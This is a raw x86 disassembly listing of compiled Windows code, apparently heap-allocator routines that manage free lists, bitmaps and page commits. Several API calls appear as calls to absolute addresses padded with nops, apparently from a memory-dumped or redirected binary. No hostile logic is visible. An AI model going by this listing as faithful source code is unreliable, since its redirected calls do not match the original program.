loc_41EBBE:				; CODE XREF: sub_41EA6B+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41EBE7
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41EBE7:				; CODE XREF: sub_41EA6B+16Dj
					; sub_41EA6B+183j
		test	ecx, ecx
		jl	short loc_41EBF0
		shl	ecx, 1
		inc	edi
		jmp	short loc_41EBE7
; ---------------------------------------------------------------------------


loc_41EBF0:				; CODE XREF: sub_41EA6B+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41EC0D
		push	3Fh
		pop	esi


loc_41EC0D:				; CODE XREF: sub_41EA6B+19Dj
		cmp	esi, edi
		jz	loc_41ED22
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41EC7E
		cmp	edi, 20h
		jge	short loc_41EC4D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EA6B+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41EC7B
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41EC7E
; ---------------------------------------------------------------------------


loc_41EC7B:				; CODE XREF: sub_41EA6B+1D6j
					; sub_41EA6B+203j
		mov	ebx, [ebp+arg_0]


loc_41EC7E:				; CODE XREF: sub_41EA6B+1B0j
					; sub_41EA6B+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41ED2E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41ED1F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41ECF0
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ECDE
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41ECDE:				; CODE XREF: sub_41EA6B+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41ED1F
; ---------------------------------------------------------------------------


loc_41ECF0:				; CODE XREF: sub_41EA6B+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41ED09
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41ED09:				; CODE XREF: sub_41EA6B+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41ED1F:				; CODE XREF: sub_41EA6B+24Ej
					; sub_41EA6B+283j
		mov	ecx, [ebp+var_8]


loc_41ED22:				; CODE XREF: sub_41EA6B+1A4j
		test	ecx, ecx
		jz	short loc_41ED31
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41ED31
; ---------------------------------------------------------------------------


loc_41ED2E:				; CODE XREF: sub_41EA6B+229j
		mov	ecx, [ebp+var_8]


loc_41ED31:				; CODE XREF: sub_41EA6B+2B9j
					; sub_41EA6B+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41ED67
		cmp	ebx, dword_4DD374
		jnz	short loc_41ED67
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DD36C
		jnz	short loc_41ED67
		and	dword_4DD374, 0


loc_41ED67:				; CODE XREF: sub_41EA6B+2E0j
					; sub_41EA6B+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41ED6F:				; CODE XREF: sub_41EA6B+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EA6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ED74	proc near		; CODE XREF: sub_41EA6B+CCp
		mov	eax, dword_4DD378
		mov	ecx, dword_4DD368
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41EDB7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DD37C
		push	edi
		push	dword_4DD384
		nop
		call	near ptr 2850000h
		cmp	eax, edi
		jz	short loc_41EE07
		add	dword_4DD368, 10h
		mov	dword_4DD37C, eax
		mov	eax, dword_4DD378


loc_41EDB7:				; CODE XREF: sub_41ED74+11j
		mov	ecx, dword_4DD37C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DD384
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27C0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41EE07
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 2660B4Fh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41EE0B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DD384
		call	near ptr 27B0000h
		nop


loc_41EE07:				; CODE XREF: sub_41ED74+30j
					; sub_41ED74+67j
		xor	eax, eax
		jmp	short loc_41EE22
; ---------------------------------------------------------------------------


loc_41EE0B:				; CODE XREF: sub_41ED74+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DD378
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41EE22:				; CODE XREF: sub_41ED74+95j
		pop	edi
		pop	esi
		retn
sub_41ED74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE25	proc near		; CODE XREF: sub_41EA6B+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41EE37:				; CODE XREF: sub_41EE25+19j
		test	eax, eax
		jl	short loc_41EE40
		shl	eax, 1
		inc	ebx
		jmp	short loc_41EE37
; ---------------------------------------------------------------------------


loc_41EE40:				; CODE XREF: sub_41EE25+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41EE55:				; CODE XREF: sub_41EE25+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41EE55
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 2660B4Fh
		test	eax, eax
		jnz	short loc_41EE88
		or	eax, 0FFFFFFFFh
		jmp	loc_41EF1B
; ---------------------------------------------------------------------------


loc_41EE88:				; CODE XREF: sub_41EE25+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41EECE
		lea	eax, [edi+10h]


loc_41EE95:				; CODE XREF: sub_41EE25+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41EE95


loc_41EECE:				; CODE XREF: sub_41EE25+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41EF0B
		or	[eax+4], edi


loc_41EF0B:				; CODE XREF: sub_41EE25+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41EF1B:				; CODE XREF: sub_41EE25+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF20	proc near		; CODE XREF: sub_41BBE2+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41F0CE
		test	bl, 1
		jnz	loc_41F0C7
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41F0C7
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41EF97
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41EF97:				; CODE XREF: sub_41EF20+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41EFE7
		cmp	ecx, 20h
		jnb	short loc_41EFC3
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41EFE7
; ---------------------------------------------------------------------------


loc_41EFC3:				; CODE XREF: sub_41EF20+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41EFE7
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41EFE7:				; CODE XREF: sub_41EF20+7Dj
					; sub_41EF20+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41F0B5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41F021
		push	3Fh
		pop	edi


loc_41F021:				; CODE XREF: sub_41EF20+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41F0A3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41F07A
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F06D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41F06D:				; CODE XREF: sub_41EF20+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41F09F
; ---------------------------------------------------------------------------


loc_41F07A:				; CODE XREF: sub_41EF20+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41F090
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41F090:				; CODE XREF: sub_41EF20+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41F09F:				; CODE XREF: sub_41EF20+158j
		shr	edx, cl
		or	[eax], edx


loc_41F0A3:				; CODE XREF: sub_41EF20+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41F0B8
; ---------------------------------------------------------------------------


loc_41F0B5:				; CODE XREF: sub_41EF20+E5j
		mov	edx, [ebp+arg_4]


loc_41F0B8:				; CODE XREF: sub_41EF20+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41F20E
; ---------------------------------------------------------------------------


loc_41F0C7:				; CODE XREF: sub_41EF20+52j
					; sub_41EF20+5Cj
		xor	eax, eax
		jmp	loc_41F211
; ---------------------------------------------------------------------------


loc_41F0CE:				; CODE XREF: sub_41EF20+49j
		jge	loc_41F20E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41F0F9
		push	3Fh
		pop	esi


loc_41F0F9:				; CODE XREF: sub_41EF20+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F188
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F112
		push	3Fh
		pop	esi


loc_41F112:				; CODE XREF: sub_41EF20+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F161
		cmp	esi, 20h
		jnb	short loc_41F13D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F15E
; ---------------------------------------------------------------------------


loc_41F13D:				; CODE XREF: sub_41EF20+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F15E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41F15E:				; CODE XREF: sub_41EF20+214j
					; sub_41EF20+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41F161:				; CODE XREF: sub_41EF20+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F188
		push	3Fh
		pop	esi


loc_41F188:				; CODE XREF: sub_41EF20+1DDj
					; sub_41EF20+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F205
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41F1DC
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1CF
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41F1CF:				; CODE XREF: sub_41EF20+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41F201
; ---------------------------------------------------------------------------


loc_41F1DC:				; CODE XREF: sub_41EF20+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1F2
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41F1F2:				; CODE XREF: sub_41EF20+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41F201:				; CODE XREF: sub_41EF20+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41F205:				; CODE XREF: sub_41EF20+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41F20E:				; CODE XREF: sub_41EF20+1A2j
					; sub_41EF20:loc_41F0CEj
		push	1
		pop	eax


loc_41F211:				; CODE XREF: sub_41EF20+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F216	proc near		; CODE XREF: sub_41F50E:loc_41F6DDp
		cmp	dword_43AE60, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41F22A
		mov	esi, offset off_43AE50
		jmp	short loc_41F247
; ---------------------------------------------------------------------------


loc_41F22A:				; CODE XREF: sub_41F216+Bj
		push	2020h
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	loc_41F353


loc_41F247:				; CODE XREF: sub_41F216+12j
		mov	ebp, dword_427064
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41F33C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41F32E
		mov	eax, offset off_43AE50
		cmp	esi, eax
		jnz	short loc_41F2A6
		cmp	off_43AE50, 0
		jnz	short loc_41F296
		mov	off_43AE50, eax


loc_41F296:				; CODE XREF: sub_41F216+79j
		cmp	off_43AE54, 0
		jnz	short loc_41F2BB
		mov	off_43AE54, eax
		jmp	short loc_41F2BB
; ---------------------------------------------------------------------------


loc_41F2A6:				; CODE XREF: sub_41F216+70j
		mov	[esi], eax
		mov	eax, off_43AE54
		mov	[esi+4], eax
		mov	off_43AE54, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41F2BB:				; CODE XREF: sub_41F216+87j
					; sub_41F216+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41F2DD:				; CODE XREF: sub_41F216+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41F2DD
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_41F306:				; CODE XREF: sub_41F216+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41F32A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41F306
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F216+F7j
		mov	eax, esi
		jmp	short loc_41F355
; ---------------------------------------------------------------------------


loc_41F32E:				; CODE XREF: sub_41F216+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2660C7Eh


loc_41F33C:				; CODE XREF: sub_41F216+4Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F353
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 27B0000h
		nop


loc_41F353:				; CODE XREF: sub_41F216+2Bj
					; sub_41F216+12Cj
		xor	eax, eax


loc_41F355:				; CODE XREF: sub_41F216+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F216	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F35A	proc near		; CODE XREF: sub_41F3B0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	near ptr 2660C7Eh
		nop
		cmp	off_43CE70, esi
		jnz	short loc_41F37F
		mov	eax, [esi+4]
		mov	off_43CE70, eax


loc_41F37F:				; CODE XREF: sub_41F35A+1Bj
		cmp	esi, offset off_43AE50
		jz	short loc_41F3A7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DD384
		nop
		call	near ptr 27B0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F3A7:				; CODE XREF: sub_41F35A+2Bj
		or	dword_43AE60, 0FFFFFFFFh
		pop	esi
		retn
sub_41F35A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3B0	proc near		; CODE XREF: sub_41F4C9+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43AE54
		push	edi


loc_41F3BD:				; CODE XREF: sub_41F3B0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41F45B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41F3D6:				; CODE XREF: sub_41F3B0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41F417
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 2660C7Eh
		nop
		test	eax, eax
		jz	short loc_41F417
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DBE40
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41F40C
		cmp	eax, edi
		jbe	short loc_41F40F


loc_41F40C:				; CODE XREF: sub_41F3B0+56j
		mov	[esi+0Ch], edi


loc_41F40F:				; CODE XREF: sub_41F3B0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41F424


loc_41F417:				; CODE XREF: sub_41F3B0+2Cj
					; sub_41F3B0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41F3D6


loc_41F424:				; CODE XREF: sub_41F3B0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41F45B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41F45B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41F43B:				; CODE XREF: sub_41F3B0+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41F44C
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41F43B


loc_41F44C:				; CODE XREF: sub_41F3B0+8Ej
		cmp	edx, 400h
		jnz	short loc_41F45B
		push	ecx
		call	sub_41F35A
		pop	ecx


loc_41F45B:				; CODE XREF: sub_41F3B0+11j
					; sub_41F3B0+7Dj ...
		cmp	esi, off_43AE54
		jz	short loc_41F46D
		cmp	[ebp+arg_0], 0
		jg	loc_41F3BD


loc_41F46D:				; CODE XREF: sub_41F3B0+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F3B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F472	proc near		; CODE XREF: sub_41BA91+3Ap
					; sub_41BBE2+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_43AE50
		push	esi
		mov	ecx, edx


loc_41F47E:				; CODE XREF: sub_41F472+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41F488
		cmp	eax, [ecx+14h]
		jb	short loc_41F490


loc_41F488:				; CODE XREF: sub_41F472+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41F4C5
		jmp	short loc_41F47E
; ---------------------------------------------------------------------------


loc_41F490:				; CODE XREF: sub_41F472+14j
		test	al, 0Fh
		jnz	short loc_41F4C5
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41F4C5
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41F4C5:				; CODE XREF: sub_41F472+1Aj
					; sub_41F472+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41F472	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4C9	proc near		; CODE XREF: sub_41BA91+4Dp
					; sub_41BBE2+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41F50D
		inc	dword_4DBE40
		cmp	dword_4DBE40, 20h
		jnz	short locret_41F50D
		push	10h
		call	sub_41F3B0
		pop	ecx

locret_41F50D:				; CODE XREF: sub_41F4C9+2Bj
					; sub_41F4C9+3Aj
		retn
sub_41F4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F50E	proc near		; CODE XREF: sub_41BBE2+1ACp
					; sub_41BEF3+4Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43CE70
		push	edi


loc_41F51C:				; CODE XREF: sub_41F50E+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41F5C7
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41F581


loc_41F547:				; CODE XREF: sub_41F50E+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41F56A
		cmp	[edi+4], ebx
